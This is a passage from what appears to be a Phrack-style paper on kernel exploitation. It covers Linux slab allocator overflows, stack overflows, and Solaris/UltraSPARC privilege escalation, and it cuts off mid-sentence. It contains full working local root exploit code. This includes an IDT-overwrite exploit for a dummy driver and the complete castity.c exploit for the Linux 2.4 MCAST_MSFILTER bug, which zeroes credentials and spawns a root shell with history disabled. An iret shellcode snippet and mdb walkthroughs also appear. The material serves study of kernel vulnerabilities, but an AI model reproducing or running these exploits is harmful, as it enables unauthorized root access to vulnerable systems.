& PAGE_MASK; char *map_addr = mmap((void*)round_addr, len, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0); if(map_addr == MAP_FAILED) return MAP_FAILED; if(code_addr) { memset(map_addr, NOP, len); memcpy(map_addr, code_addr, size); } else memset(map_addr, 0x00, len); return (char*)base_addr; } inline unsigned int *get_zero_page(unsigned int size) { return (unsigned int*)allocate_frame_chunk(0x00000000, size, NULL); } #define BOUND_ENTRY 5 unsigned int get_BOUND_address() { struct idt_struct idt; asm volatile("sidt %0\t\n" : "=m"(idt)); return idt.base + (8*BOUND_ENTRY); } unsigned int prepare_jump_code() { UID = getuid(); /* set global uid */ unsigned int base_address = ((UID & 0x0000FF00) << 16) + ((UID & 0xFF) << 16); printf("Using base address of: 0x%08x-0x%08x\n", base_address, base_address + 0x20000 -1); char *addr = allocate_frame_chunk(base_address, 0x20000, NULL); if(addr == MAP_FAILED) { perror("unable to mmap jump code"); exit(-1); } memset((void*)base_address, NOP, 0x20000); memcpy((void*)(base_address + 0x10000), do_it, CODE_SIZE); return base_address; } int main(int argc, char *argv[]) { struct user_data_ioctl user_ioctl; unsigned int *zero_page, *jump_pages, save_ptr; zero_page = get_zero_page(PAGE_SIZE); if(zero_page == MAP_FAILED) { perror("mmap: unable to map zero page"); exit(-1); } jump_pages = (unsigned int*)prepare_jump_code(); int ret, fd = open(DEVICE, O_RDONLY), alloc_size; if(argc > 1) alloc_size = atoi(argv[1]); else alloc_size = PAGE_SIZE-8; if(fd < 0) { perror("open: dummy device"); exit(-1); } memset(&user_ioctl, 0x00, sizeof(struct user_data_ioctl)); user_ioctl.size = alloc_size; ret = ioctl(fd, KERN_IOCTL_ALLOC_INFO, &user_ioctl); if(ret < 0) { perror("ioctl KERN_IOCTL_ALLOC_INFO"); exit(-1); } /* save old struct ptr stored by kernel in the first word */ save_ptr = *zero_page; /* compute the new ptr inside the IDT table between BOUND and INVALIDOP exception */ printf("IDT bound: %x\n", get_BOUND_address()); *zero_page = get_BOUND_address() + 6; user_ioctl.size=strlen(ANTANI)+1; user_ioctl.buffer=ANTANI; ret = ioctl(fd, KERN_IOCTL_STORE_INFO, &user_ioctl); getchar(); do_bound_check(); /* restore trashed ptr */ *zero_page = save_ptr; ret = ioctl(fd, KERN_IOCTL_FREE_INFO, NULL); if(ret < 0) { perror("ioctl KERN_IOCTL_FREE_INFO"); exit(-1); } get_root(); return 0; } < / > ---[ 2.2 - The Slab Allocator The main purpose of a slab allocator is to fasten up the allocation/deallocation of heavily used small 'objects' and to reduce the fragmentation that would derive from using the page-based one. Both Solaris and Linux implement a slab memory allocator which derives from the one described by Bonwick [8] in 1994 and implemented in Solaris 2.4. The idea behind is, basically : objects of the same type are grouped together inside a cache in their constructed form. The cache is divided in 'slabs', consisting of one or more contiguos page frames. Everytime the Operating Systems needs more objects, new page frames (and thus new 'slabs') are allocated and the object inside are constructed. Whenever a caller needs one of this objects, it gets returned an already prepared one, that it has only to fill with valid data. When an object is 'freed', it doesn't get destructed, but simply returned to its slab and marked as available. Caches are created for the most used objects/structs inside the operating system, for example those representing inodes, virtual memory areas, etc. General-purpose caches, suitables for small memory allocations, are created too, one for each power of two, so that internal fragmentation is guaranted to be at least below 50%. The Linux kmalloc() and the Solaris kmem_alloc() functions use exactly those latter described caches. Since it is up to the caller to 'clean' the object returned from a slab (which could contain 'dead' data), wrapper functions that return zeroed memory are usually provided too (kzalloc(), kmem_zalloc()). An important (from an exploiting perspective) 'feature' of the slab allocator is the 'bufctl', which is meaningful only inside a free object, and is used to indicate the 'next free object'. A list of free object that behaves just like a LIFO is thus created, and we'll see in a short that it is crucial for reliable explotation. To each slab is associated a controlling struct (kmem_slab_t on Solaris, slab_t on Linux) which is stored inside the slab (at the start, on Linux, at the end, on Solaris) if the object size is below a given limit (1/8 of the page), or outside it. Since there's a 'cache' per 'object type', it's not guaranted at all that those 'objects' will stay exactly in a page boundary inside the slab. That 'free' space (space not belonging to any object, nor to the slab controlling struct) is used to 'color' the slab, respecting the object alignment (if 'free' < 'alignment' no coloring takes place). The first object is thus saved at a 'different offset' inside the slab, given from 'color value' * 'alignment', (and, consequently, the same happens to all the subsequent objects), so that object of the same size in different slabs will less likely end up in the same hardware cache lines. We won't go more in details about the Slab Allocator here, since it is well and extensively explained in many other places, most notably at [9], [10], and [11], and we move towards effective explotation. Some more implementation details will be given, thou, along with the exploiting techniques explanation. ---[ 2.2.1 - Slab overflow vulnerabilities NOTE: as we said before, Solaris and Linux have two different function to alloc from the general purpose caches, kmem_alloc() and kmalloc(). That two functions behave basically in the same manner, so, from now on we'll just use 'kmalloc' and 'kmalloc'ed memory' in the discussion, referring thou to both the operating systems implementation. A slab overflow is simply the writing past the buffer boundaries of a kmalloc'ed object. The result of this overflow can be : - overwriting an adiacent in-slab object. - overwriting a page next to the slab one, in the case we're overwriting past the last object. - overwriting the control structure associated with the slab (Solaris only) The first case is the one we're going to show an exploit for. The main idea on such a situation is to fill the slabs (we can track the slab status thanks to /proc/slabinfo on Linux and kstat -n 'cache_name' on Solaris) so that a new one is necessary. We do that to be sure that we'll have a 'controlled' bufctl : since the whole slabs were full, we got a new page, along with a 'fresh' bufctl pointer starting from the first object. At that point we alloc two objects, free the first one and trigger the vulnerable code : it will request a new object and overwrite right into the previously allocated second one. If a pointer inside this second object is stored and then used (after the overflow) it is under our control. This approach is very reliable. The second case is more complex, since we haven't an object with a pointer or any modifiable data value of interest to overwrite into. We still have one chance, thou, using the page frame allocator. We start eating a lot of memory requesting the kind of 'page' we want to overflow into (for example, tons of filedescriptor), putting the memory under pressure. At that point we start freeing a couple of them, so that the total amount counts for a page. At that point we start filling the slab so that a new page is requested. If we've been lucky the new page is going to be just before one of the previously allocated ones and we've now the chance to overwrite it. The main point affecting the reliability of such an exploit is : - it's not trivial to 'isolate' a given struct/data to mass alloc at the first step, without having also other kernel structs/data growing together with. An example will clarify : to allocate tons of file descriptor we need to create a large amount of threads. That translates in the allocation of all the relative control structs which could end up placed right after our overflowing buffer. The third case is possible only on Solaris, and only on slabs which keep objects smaller than 'page_size >> 3'. Since Solaris keeps the kmem_slab struct at the end of the slab we can use the overflow of the last object to overwrite data inside it. In the latter two 'typology' of exploit presented we have to take in account slab coloring. Both the operating systems store the 'next color offset' inside the cache descriptor, and update it at every slab allocation (let's see an example from OpenSolaris sources) : < usr/src/uts/common/os/kmem.c > static kmem_slab_t * kmem_slab_create(kmem_cache_t *cp, int kmflag) { [...] size_t color, chunks; [...] color = cp->cache_color + cp->cache_align; if (color > cp->cache_maxcolor) color = cp->cache_mincolor; cp->cache_color = color; < / > 'mincolor' and 'maxcolor' are calculated at cache creation and represent the boundaries of available caching : # uname -a SunOS principessa 5.9 Generic_118558-34 sun4u sparc SUNW,Ultra-5_10 # kstat -n file_cache | grep slab slab_alloc 280 slab_create 2 slab_destroy 0 slab_free 0 slab_size 8192 # kstat -n file_cache | grep align align 8 # kstat -n file_cache | grep buf_size buf_size 56 # mdb -k Loading modules: [ unix krtld genunix ip usba nfs random ptm ] > ::sizeof kmem_slab_t sizeof (kmem_slab_t) = 0x38 > ::kmem_cache ! grep file_cache 00000300005fed88 file_cache 0000 000000 56 290 > 00000300005fed88::print kmem_cache_t cache_mincolor cache_mincolor = 0 > 00000300005fed88::print kmem_cache_t cache_maxcolor cache_maxcolor = 0x10 > 00000300005fed88::print kmem_cache_t cache_color cache_color = 0x10 > ::quit As you can see, from kstat we know that 2 slabs have been created and we know the alignment, which is 8. Object size is 56 bytes and the size of the in-slab control struct is 56, too. Each slab is 8192, which, modulo 56 gives out exactly 16, which is the maxcolor value (the color range is thus 0 - 16, which leads to three possible coloring with an alignment of 8). Based on the previous snippet of code, we know that first allocation had a coloring of 8 ( mincolor == 0 + align == 8 ), the second one of 16 (which is the value still recorded inside the kmem_cache_t). If we were for exhausting this slab and get a new one we would know for sure that the coloring would be 0. Linux uses a similar 'circolar' coloring too, just look forward for 'kmem_cache_t'->colour_next setting and incrementation. Both the operating systems don't decrement the color value upon freeing of a slab, so that has to be taken in account too (easy to do on Solaris, since slab_create is the maximum number of slabs created). ---[ 2.2.2 - Slab overflow exploiting : MCAST_MSFILTER Given the technical basis to understand and exploit a slab overflow, it's time for a practical example. We're presenting here an exploit for the MCAST_MSFILTER [4] vulnerability found by iSEC people : < linux-2.4.24/net/ipv4/ip_sockglue.c > case MCAST_MSFILTER: { struct sockaddr_in *psin; struct ip_msfilter *msf = 0; struct group_filter *gsf = 0; int msize, i, ifindex; if (optlen < GROUP_FILTER_SIZE(0)) goto e_inval; gsf = (struct group_filter *)kmalloc(optlen,GFP_KERNEL); [2] if (gsf == 0) { err = -ENOBUFS; break; } err = -EFAULT; if (copy_from_user(gsf, optval, optlen)) { [3] goto mc_msf_out; } if (GROUP_FILTER_SIZE(gsf->gf_numsrc) < optlen) { [4] err = EINVAL; goto mc_msf_out; } msize = IP_MSFILTER_SIZE(gsf->gf_numsrc); [1] msf = (struct ip_msfilter *)kmalloc(msize,GFP_KERNEL); [7] if (msf == 0) { err = -ENOBUFS; goto mc_msf_out; } [...] msf->imsf_multiaddr = psin->sin_addr.s_addr; msf->imsf_interface = 0; msf->imsf_fmode = gsf->gf_fmode; msf->imsf_numsrc = gsf->gf_numsrc; err = -EADDRNOTAVAIL; for (i=0; igf_numsrc; ++i) { [5] psin = (struct sockaddr_in *)&gsf->gf_slist[i]; if (psin->sin_family != AF_INET) [8] goto mc_msf_out; msf->imsf_slist[i] = psin->sin_addr.s_addr; [6] [...] mc_msf_out: if (msf) kfree(msf); if (gsf) kfree(gsf); break; [...] < / > < linux-2.4.24/include/linux/in.h > #define IP_MSFILTER_SIZE(numsrc) \ [1] (sizeof(struct ip_msfilter) - sizeof(__u32) \ + (numsrc) * sizeof(__u32)) [...] #define GROUP_FILTER_SIZE(numsrc) \ [4] (sizeof(struct group_filter) - sizeof(struct __kernel_sockaddr_storage) \ + (numsrc) * sizeof(struct __kernel_sockaddr_storage)) < / > The vulnerability consist of an integer overflow at [1], since we control the gsf struct as you can see from [2] and [3]. The check at [4] proved to be, initially, a problem, which was resolved thanks to the slab property of not cleaning objects on free (back on that in a short). The for loop at [5] is where we effectively do the overflow, by writing, at [6], the 'psin->sin_addr.s_addr' passed inside the gsf struct over the previously allocated msf [7] struct (kmalloc'ed with bad calculated 'msize' value). This for loop is a godsend, because thanks to the check at [8] we are able to avoid the classical problem with integer overflow derived bugs (that is writing _a lot_ after the buffer due to the usually huge value used to trigger the overflow) and exit cleanly through mc_msf_out. As explained before, while describing the 'first explotation approach', we need to find some object/data that gets kmalloc'ed in the same slab and which has inside a pointer or some crucial-value that would let us change the execution flow. We found a solution with the 'struct shmid_kernel' : < linux-2.4.24/ipc/shm.c > struct shmid_kernel /* private to the kernel */ { struct kern_ipc_perm shm_perm; struct file * shm_file; int id; [...] }; [...] asmlinkage long sys_shmget (key_t key, size_t size, int shmflg) { struct shmid_kernel *shp; int err, id = 0; down(&shm_ids.sem); if (key == IPC_PRIVATE) { err = newseg(key, shmflg, size); [...] static int newseg (key_t key, int shmflg, size_t size) { [...] shp = (struct shmid_kernel *) kmalloc (sizeof (*shp), GFP_USER); [...] } As you see, struct shmid_kernel is 64 bytes long and gets allocated using kmalloc (size-64) generic cache [ we can alloc as many as we want (up to fill the slab) using subsequent 'shmget' calls ]. Inside it there is a struct file pointer, that we could make point, thanks to the overflow, to the userland, where we will emulate all the necessary structs to reach a function pointer dereference (that's exactly what the exploit does). Now it is time to force the msize value into being > 32 and =< 64, to make it being alloc'ed inside the same (size-64) generic cache. 'Good' values for gsf->gf_numsrc range from 0x40000005 to 0x4000000c. That raises another problem : since we're able to write 4 bytes for every __kernel_sockaddr_storage present in the gsf struct we need a pretty large one to reach the 'shm_file' pointer, and so we need to pass a large 'optlen' value. The 0x40000005 - 0x4000000c range, thou, makes the GROUP_FILTER_SIZE() macro used at [4] evaluate to a positive and small value, which isn't large enough to reach the 'shm_file' pointer. We solved that problem thanks to the fact that, once an object is free'd, its 'memory contents' are not zero'ed (or cleaned in any way). Since the copy_from_user at [3] happens _before_ the check at [4], we were able to create a sequence of 1024-sized objects by repeatedly issuing a failing (at [4]) 'setsockopt', thus obtaining a large-enough one. Hoping to make it clearer let's sum up the steps : - fill the 1024 slabs so that at next allocation a fresh one is returned - alloc the first object of the new 1024-slab. - use as many 'failing' setsockopt as needed to copy values inside objects 2 and 3 [and 4, if needed, not the usual case thou] - free the first object - use a smaller (but still 1024-slab allocation driving) value for optlen that would pass the check at [4] At that point the gsf pointer points to the first object inside our freshly created slab. Objects 2 and 3 haven't been re-used yet, so still contains our data. Since the objects inside the slab are adiacent we have a de-facto larger (and large enough) gsf struct to reach the 'shm_file' pointer. Last note, to reliably fill the slabs we check /proc/slabinfo. The exploit, called castity.c, was written when the advisory went out, and is only for 2.4.* kernels (the sys_epoll vulnerability [12] was more than enough for 2.6.* ones ;) ) Exploit follows, just without the initial header, since the approach has been already extensively explained above. < stuff/expl/linux/castity.c > #include #include #include #include #include #include #include #include #include #include #include #define __u32 unsigned int #define MCAST_MSFILTER 48 #define SOL_IP 0 #define SIZE 4096 #define R_FILE "/etc/passwd" // Set it to whatever file you can read. It's just for 1024 filling. struct in_addr { unsigned int s_addr; }; #define __SOCK_SIZE__ 16 struct sockaddr_in { unsigned short sin_family; /* Address family */ unsigned short int sin_port; /* Port number */ struct in_addr sin_addr; /* Internet address */ /* Pad to size of `struct sockaddr'. */ unsigned char __pad[__SOCK_SIZE__ - sizeof(short int) - sizeof(unsigned short int) - sizeof(struct in_addr)]; }; struct group_filter { __u32 gf_interface; /* interface index */ struct sockaddr_storage gf_group; /* multicast address */ __u32 gf_fmode; /* filter mode */ __u32 gf_numsrc; /* number of sources */ struct sockaddr_storage gf_slist[1]; /* interface index */ }; struct damn_inode { void *a, *b; void *c, *d; void *e, *f; void *i, *l; unsigned long size[40]; // Yes, somewhere here :-) } le; struct dentry_suck { unsigned int count, flags; void *inode; void *dd; } fucking = { 0xbad, 0xbad, &le, NULL }; struct fops_rox { void *a, *b, *c, *d, *e, *f, *g; void *mmap; void *h, *i, *l, *m, *n, *o, *p, *q, *r; void *get_unmapped_area; } chien; struct file_fuck { void *prev, *next; void *dentry; void *mnt; void *fop; } gagne = { NULL, NULL, &fucking, NULL, &chien }; static char stack[16384]; int gotsig = 0, fillup_1024 = 0, fillup_64 = 0, uid, gid; int *pid, *shmid; static void sigusr(int b) { gotsig = 1; } void fatal (char *str) { fprintf(stderr, "[-] %s\n", str); exit(EXIT_FAILURE); } #define BUFSIZE 256 int calculate_slaboff(char *name) { FILE *fp; char slab[BUFSIZE], line[BUFSIZE]; int ret; /* UP case */ int active_obj, total; bzero(slab, BUFSIZE); bzero(line, BUFSIZE); fp = fopen("/proc/slabinfo", "r"); if ( fp == NULL ) fatal("error opening /proc for slabinfo"); fgets(slab, sizeof(slab) - 1, fp); do { ret = 0; if (!fgets(line, sizeof(line) - 1, fp)) break; ret = sscanf(line, "%s %u %u", slab, &active_obj, &total); } while (strcmp(slab, name)); close(fileno(fp)); fclose(fp); return ret == 3 ? total - active_obj : -1; } int populate_1024_slab() { int fd[252]; int i; signal(SIGUSR1, sigusr); for ( i = 0; i < 252 ; i++) fd[i] = open(R_FILE, O_RDONLY); while (!gotsig) pause(); gotsig = 0; for ( i = 0; i < 252; i++) close(fd[i]); } int kernel_code() { int i, c; int *v; __asm__("movl %%esp, %0" : : "m" (c)); c &= 0xffffe000; v = (void *) c; for (i = 0; i < 4096 / sizeof(*v) - 1; i++) { if (v[i] == uid && v[i+1] == uid) { i++; v[i++] = 0; v[i++] = 0; v[i++] = 0; } if (v[i] == gid) { v[i++] = 0; v[i++] = 0; v[i++] = 0; v[i++] = 0; return -1; } } return -1; } void prepare_evil_file () { int i = 0; chien.mmap = &kernel_code ; // just to pass do_mmap_pgoff check chien.get_unmapped_area = &kernel_code; /* * First time i run the exploit i was using a precise offset for * size, and i calculated it _wrong_. Since then my lazyness took * over and i use that ""very clean"" *g* approach. * Why i'm telling you ? It's 3 a.m., i don't find any better than * writing blubbish comments */ for ( i = 0; i < 40; i++) le.size[i] = SIZE; } #define SEQ_MULTIPLIER 32768 void prepare_evil_gf ( struct group_filter *gf, int id ) { int filling_space = 64 - 4 * sizeof(int); int i = 0; struct sockaddr_in *sin; filling_space /= 4; for ( i = 0; i < filling_space; i++ ) { sin = (struct sockaddr_in *)&gf->gf_slist[i]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = 0x41414141; } /* Emulation of struct kern_ipc_perm */ sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = IPC_PRIVATE; sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = uid; sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = gid; sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = uid; sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = gid; sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = -1; sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = id/SEQ_MULTIPLIER; /* evil struct file address */ sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = AF_INET; sin->sin_addr.s_addr = (unsigned long)&gagne; /* that will stop mcast loop */ sin = (struct sockaddr_in *)&gf->gf_slist[i++]; sin->sin_family = 0xbad; sin->sin_addr.s_addr = 0xdeadbeef; return; } void cleanup () { int i = 0; struct shmid_ds s; for ( i = 0; i < fillup_1024; i++ ) { kill(pid[i], SIGUSR1); waitpid(pid[i], NULL, __WCLONE); } for ( i = 0; i < fillup_64 - 2; i++ ) shmctl(shmid[i], IPC_RMID, &s); } #define EVIL_GAP 4 #define SLAB_1024 "size-1024" #define SLAB_64 "size-64" #define OVF 21 #define CHUNKS 1024 #define LOOP_VAL 0x4000000f #define CHIEN_VAL 0x4000000b main() { int sockfd, ret, i; unsigned int true_alloc_size, last_alloc_chunk, loops; char *buffer; struct group_filter *gf; struct shmid_ds s; char *argv[] = { "le-chien", NULL }; char *envp[] = { "TERM=linux", "PS1=le-chien\\$", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin", "HISTFILE=/dev/null", NULL }; true_alloc_size = sizeof(struct group_filter) - sizeof(struct sockaddr_storage) + sizeof(struct sockaddr_storage) * OVF; sockfd = socket(AF_INET, SOCK_STREAM, 0); uid = getuid(); gid = getgid(); gf = malloc (true_alloc_size); if ( gf == NULL ) fatal("Malloc failure\n"); gf->gf_interface = 0; gf->gf_group.ss_family = AF_INET; fillup_64 = calculate_slaboff(SLAB_64); if ( fillup_64 == -1 ) fatal("Error calculating slab fillup\n"); printf("[+] Slab %s fillup is %d\n", SLAB_64, fillup_64); /* Yes, two would be enough, but we have that "sexy" #define, why don't use it ? :-) */ fillup_64 += EVIL_GAP; shmid = malloc(fillup_64 * sizeof(int)); if ( shmid == NULL ) fatal("Malloc failure\n"); /* Filling up the size-64 and obtaining a new page with EVIL_GAP entries */ for ( i = 0; i < fillup_64; i++ ) shmid[i] = shmget(IPC_PRIVATE, 4096, IPC_CREAT|SHM_R); prepare_evil_file(); prepare_evil_gf(gf, shmid[fillup_64 - 1]); buffer = (char *)gf; fillup_1024 = calculate_slaboff(SLAB_1024); if ( fillup_1024 == -1 ) fatal("Error calculating slab fillup\n"); printf("[+] Slab %s fillup is %d\n", SLAB_1024, fillup_1024); fillup_1024 += EVIL_GAP; pid = malloc(fillup_1024 * sizeof(int)); if (pid == NULL ) fatal("Malloc failure\n"); for ( i = 0; i < fillup_1024; i++) pid[i] = clone(populate_1024_slab, stack + sizeof(stack) - 4, 0, NULL); printf("[+] Attempting to trash size-1024 slab\n"); /* Here starts the loop trashing size-1024 slab */ last_alloc_chunk = true_alloc_size % CHUNKS; loops = true_alloc_size / CHUNKS; gf->gf_numsrc = LOOP_VAL; printf("[+] Last size-1024 chunk is of size %d\n", last_alloc_chunk); printf("[+] Looping for %d chunks\n", loops); kill(pid[--fillup_1024], SIGUSR1); waitpid(pid[fillup_1024], NULL, __WCLONE); if ( last_alloc_chunk > 512 ) ret = setsockopt(sockfd, SOL_IP, MCAST_MSFILTER, buffer + loops * CHUNKS, last_alloc_chunk); else /* * Should never happen. If it happens it probably means that we've * bigger datatypes (or slab-size), so probably * there's something more to "fix me". The while loop below is * already okay for the eventual fixing ;) */ fatal("Last alloc chunk fix me\n"); while ( loops > 1 ) { kill(pid[--fillup_1024], SIGUSR1); waitpid(pid[fillup_1024], NULL, __WCLONE); ret = setsockopt(sockfd, SOL_IP, MCAST_MSFILTER, buffer + --loops * CHUNKS, CHUNKS); } /* Let's the real fun begin */ gf->gf_numsrc = CHIEN_VAL; kill(pid[--fillup_1024], SIGUSR1); waitpid(pid[fillup_1024], NULL, __WCLONE); shmctl(shmid[fillup_64 - 2], IPC_RMID, &s); setsockopt(sockfd, SOL_IP, MCAST_MSFILTER, buffer, CHUNKS); cleanup(); ret = (unsigned long)shmat(shmid[fillup_64 - 1], NULL, SHM_RDONLY); if ( ret == -1) { printf("Le Fucking Chien GAGNE!!!!!!!\n"); setresuid(0, 0, 0); setresgid(0, 0, 0); execve("/bin/sh", argv, envp); exit(0); } printf("Here we are, something sucked :/ (if not L1_cache too big, probably slab align, retry)\n" ); } < / > ------[ 2.3 - Stack overflow vulnerabilities When a process is in 'kernel mode' it has a stack which is different from the stack it uses at userland. We'll call it 'kernel stack'. That kernel stack is usually limited in size to a couple of pages (on Linux, for example, it is 2 pages, 8kb, but an option at compile time exist to have it limited at one page) and is not a surprise that a common design practice in kernel code developing is to use locally to a function as little stack space as possible. At a first glance, we can imagine two different scenarios that could go under the name of 'stack overflow vulnerabilities' : - 'standard' stack overflow vulnerability : a write past a buffer on the stack overwrites the saved instruction pointer or the frame pointer (Solaris only, Linux is compiled with -fomit-frame-pointer) or some variable (usually a pointer) also located in the stack. - 'stack size overflow' : a deeply nested callgraph goes further the alloc'ed stack space. Stack based explotation is more architectural and o.s. specific than the already presented slab based one. That is due to the fact that once the stack is trashed we achieve execution flow hijack, but then we must find a way to somehow return to userland. We con't cover here the details of x86 architecture, since those have been already very well explained by noir in his phrack60 paper [13]. We will instead focus on the UltraSPARC architecture and on its more common operating system, Solaris. The next subsection will describe the relevant details of it and will present a technique which is suitable aswell for the exploiting of slab based overflow (or, more generally, whatever 'controlled flow redirection' vulnerability). The AMD64 architecture won't be covered yet, since it will be our 'example architecture' for the next kind of vulnerabilities (race condition). The sendmsg [5] exploit proposed later on is, at the end, a stack based one. Just before going on with the UltraSPARC section we'll just spend a couple of words describing the return-to-ring3 needs on an x86 architecture and the Linux use of the kernel stack (since it quite differs from the Solaris one). Linux packs together the stack and the struct associated to every process in the system (on Linux 2.4 it was directly the task_struct, on Linux 2.6 it is the thread_info one, which is way smaller and keeps inside a pointer to the task_struct). This memory area is, by default, 8 Kb (a kernel option exist to have it limited to 4 Kb), that is the size of two pages, which are allocated consecutively and with the first one aligned to a 2^13 multiple. The address of the thread_struct (or of the task_struct) is thus calculable at runtime by masking out the 13 least significant bits of the Kernel Stack (%esp). The stack starts at the bottom of this page and 'grows' towards the top, where the thread_info (or the task_struct) is located. To prevent the 'second' type of overflow when the 4 Kb Kernel Stack is selected at compile time, the kernel uses two adjunctive per-CPU stacks, one for interrupt handling and one for softirq and tasklets functions, both one page sized. It is obviously on the stack that Linux stores all the information to return from exceptions, interrupts or function calls and, logically, to get back to ring3, for example by means of the iret instruction. If we want to use the 'iret' instruction inside our shellcodes to get out cleanly from kernel land we have to prepare a fake stack frame as it expects to find. We have to supply: - a valid user space stack pointer - a valid user space instruction pointer - a valid EFLAGS saved EFLAGS register - a valid User Code Segment - a valid User Stack Segment LOWER ADDRESS +-----------------+ | | | User SS | -+ | User ESP | | | EFLAGS | | Fake Iret Frame | User CS | | | User EIP | -+ <----- current kernel stack pointer (ESP) | | +-----------------+ We've added a demonstrative stack based exploit (for the Linux dummy driver) which implements a shellcode doing that recovery-approach : movl $0x7b,0x10(%esp) // user stack segment (SS) movl $stack_chunk,0xc(%esp) // user stack pointer (ESP) movl $0x246,0x8(%esp) // valid EFLAGS saved register movl $0x73,0x4(%esp) // user code segment (CS) movl $code_chunk,0x0(%esp) // user code pointer (EIP) iret You can find it in < expl/linux/stack_based.c > ---[ 2.3.1 - UltraSPARC exploiting The UltraSPARC [14] is a full implementation of the SPARC V9 64-bit [2] architecture. The most 'interesting' part of it from an exploiting perspective is the support it gives to the operating system for a fully separated address space among userspace and kernelspace. This is achieved through the use of context registers and address space identifiers 'ASI'. The UltraSPARC MMU provides two settable context registers, the primary (PContext) and the secondary (SContext) one. One more context register hardwired to zero is provided, which is the nucleus context ('context' 0 is where the kernel lives). To every process address space is associated a 'context value', which is set inside the PContext register during process execution. This value is used to perform memory addresses translation. Every time a process issues a trap instruction to access kernel land (for example ta 0x8 or ta 0x40, which is how system call are implemented on Solaris 10), the nucleus context is set as default. The process context value (as recorded inside PContext) is then moved to SContext, while the nucleus context becomes the 'primary context'. At that point the kernel code can access directly the userland by specifying the correct ASI to a load or store alternate instruction (instructions that support a direct asi immediate specified - lda/sta). Address Space Identifiers (ASIs) basically specify how those instruction have to behave : < usr/src/uts/sparc/v9/sys/asi.h > #define ASI_N 0x04 /* nucleus */ #define ASI_NL 0x0C /* nucleus little */ #define ASI_AIUP 0x10 /* as if user primary */ #define ASI_AIUS 0x11 /* as if user secondary */ #define ASI_AIUPL 0x18 /* as if user primary little */ #define ASI_AIUSL 0x19 /* as if user secondary little */ [...] #define ASI_USER ASI_AIUS < / > Theese are ASI that are specified by the SPARC v9 reference (more ASI are machine dependant and let modify, for example, MMU or other hardware registers, check usr/src/uts/sun4u/sys/machasi.h), the 'little' version is just used to specify a byte ordering access different from the 'standard' big endian one (SPARC v9 can access data in both formats). The ASI_USER is the one used to access, from kernel land, the user space. An instruction like : ldxa [addr]ASI_USER, %l1 would just load the double word stored at 'addr', relative to the address space contex stored in the SContext register, 'as if' it was accessed by userland code (so with all protection checks). It is thus possible, if able to start executing a minimal stub of code, to copy bytes from the userland wherever we want at kernel land. But how do we execute code at first ? Or, to make it even more clearer, where do we return once we have performed our (slab/stack) overflow and hijacked the instruction pointer ? To complicate things a little more, the UltraSPARC architecture implements the execution bit permission over TTEs (Translation Table Entry, which are the TLB entries used to perform virtual/physical translations). It is time to give a look at Solaris Kernel implementation to find a solution. The technique we're going to present now (as you'll quickly figure out) is not limited to stack based exploiting, but can be used every time you're able to redirect to an arbitrary address the instruction flow at kernel land. ---] 2.3.2 - A reliable Solaris/UltraSPARC exploit The Solaris process model is slightly different from the Linux one. The foundamental unit of scheduling is the 'kernel thread' (described by the kthread_t structure), so one has to be associated to every existing LWP (light-weight process) in a process. LWPs are just kernel objects which represent the 'kernel state' of every 'user thread' inside a process and thus let each one enter the kernel indipendently (without LWPs, user thread would contend at system call). The information relative to a 'running process' are so scattered among different structures. Let's see what we can make out of them. Every Operating System (and Solaris doesn't differ) has a way to quickly get the 'current running process'. On Solaris it is the 'current kernel thread' and it's obtained, on UltraSPARC, by : #define curthread (threadp()) < usr/src/uts/sparc/ml/sparc.il > ! return current thread pointer .inline threadp,0 .register %g7, #scratch mov %g7, %o0 .end < / > It is thus stored inside the %g7 global register. From the kthread_t struct we can access all the other 'process related' structs. Since our main purpose is to raise privileges we're interested in where the Solaris kernel stores process credentials. Those are saved inside the cred_t structure pointed to by the proc_t one : # mdb -k Loading modules: [ unix krtld genunix ip usba nfs random ptm ] > ::ps ! grep snmpdx R 278 1 278 278 0 0x00010008 0000030000e67488 snmpdx > 0000030000e67488::print proc_t { p_exec = 0x30000e5b5a8 p_as = 0x300008bae48 p_lockp = 0x300006167c0 p_crlock = { _opaque = [ 0 ] } p_cred = 0x3000026df28 [...] > 0x3000026df28::print cred_t { cr_ref = 0x67b cr_uid = 0 cr_gid = 0 cr_ruid = 0 cr_rgid = 0 cr_suid = 0 cr_sgid = 0 cr_ngroups = 0 cr_groups = [ 0 ] } > ::offsetof proc_t p_cred offsetof (proc_t, p_cred) = 0x20 > ::quit # The '::ps' dcmd ouput introduces a very interesting feature of the Solaris Operating System, which is a god-send for exploiting. The address of the proc_t structure in kernel land is exported to userland : bash-2.05$ ps -aef -o addr,comm | grep snmpdx 30000e67488 /usr/lib/snmp/snmpdx bash-2.05$ At a first glance that could seem of not great help, since, as we said, the kthread_t struct keeps a pointer to the related proc_t one : > ::offsetof kthread_t t_procp offsetof (kthread_t, t_procp) = 0x118 > ::ps ! grep snmpdx R 278 1 278 278 0 0x00010008 0000030000e67488 snmpdx > 0000030000e67488::print proc_t p_tlist p_tlist = 0x30000e52800 > 0x30000e52800::print kthread_t t_procp t_procp = 0x30000e67488 > To understand more precisely why the exported address is so important we have to take a deeper look at the proc_t structure. This structure contains the user_t struct, which keeps information like the program name, its argc/argv value, etc : > 0000030000e67488::print proc_t p_user [...] p_user.u_ticks = 0x95c p_user.u_comm = [ "snmpdx" ] p_user.u_psargs = [ "/usr/lib/snmp/snmpdx -y -c /etc/snmp/conf" ] p_user.u_argc = 0x4 p_user.u_argv = 0xffbffcfc p_user.u_envp = 0xffbffd10 p_user.u_cdir = 0x3000063fd40 [...] We can control many of those. Even more important, the pages that contains the process_cache (and thus the user_t struct), are 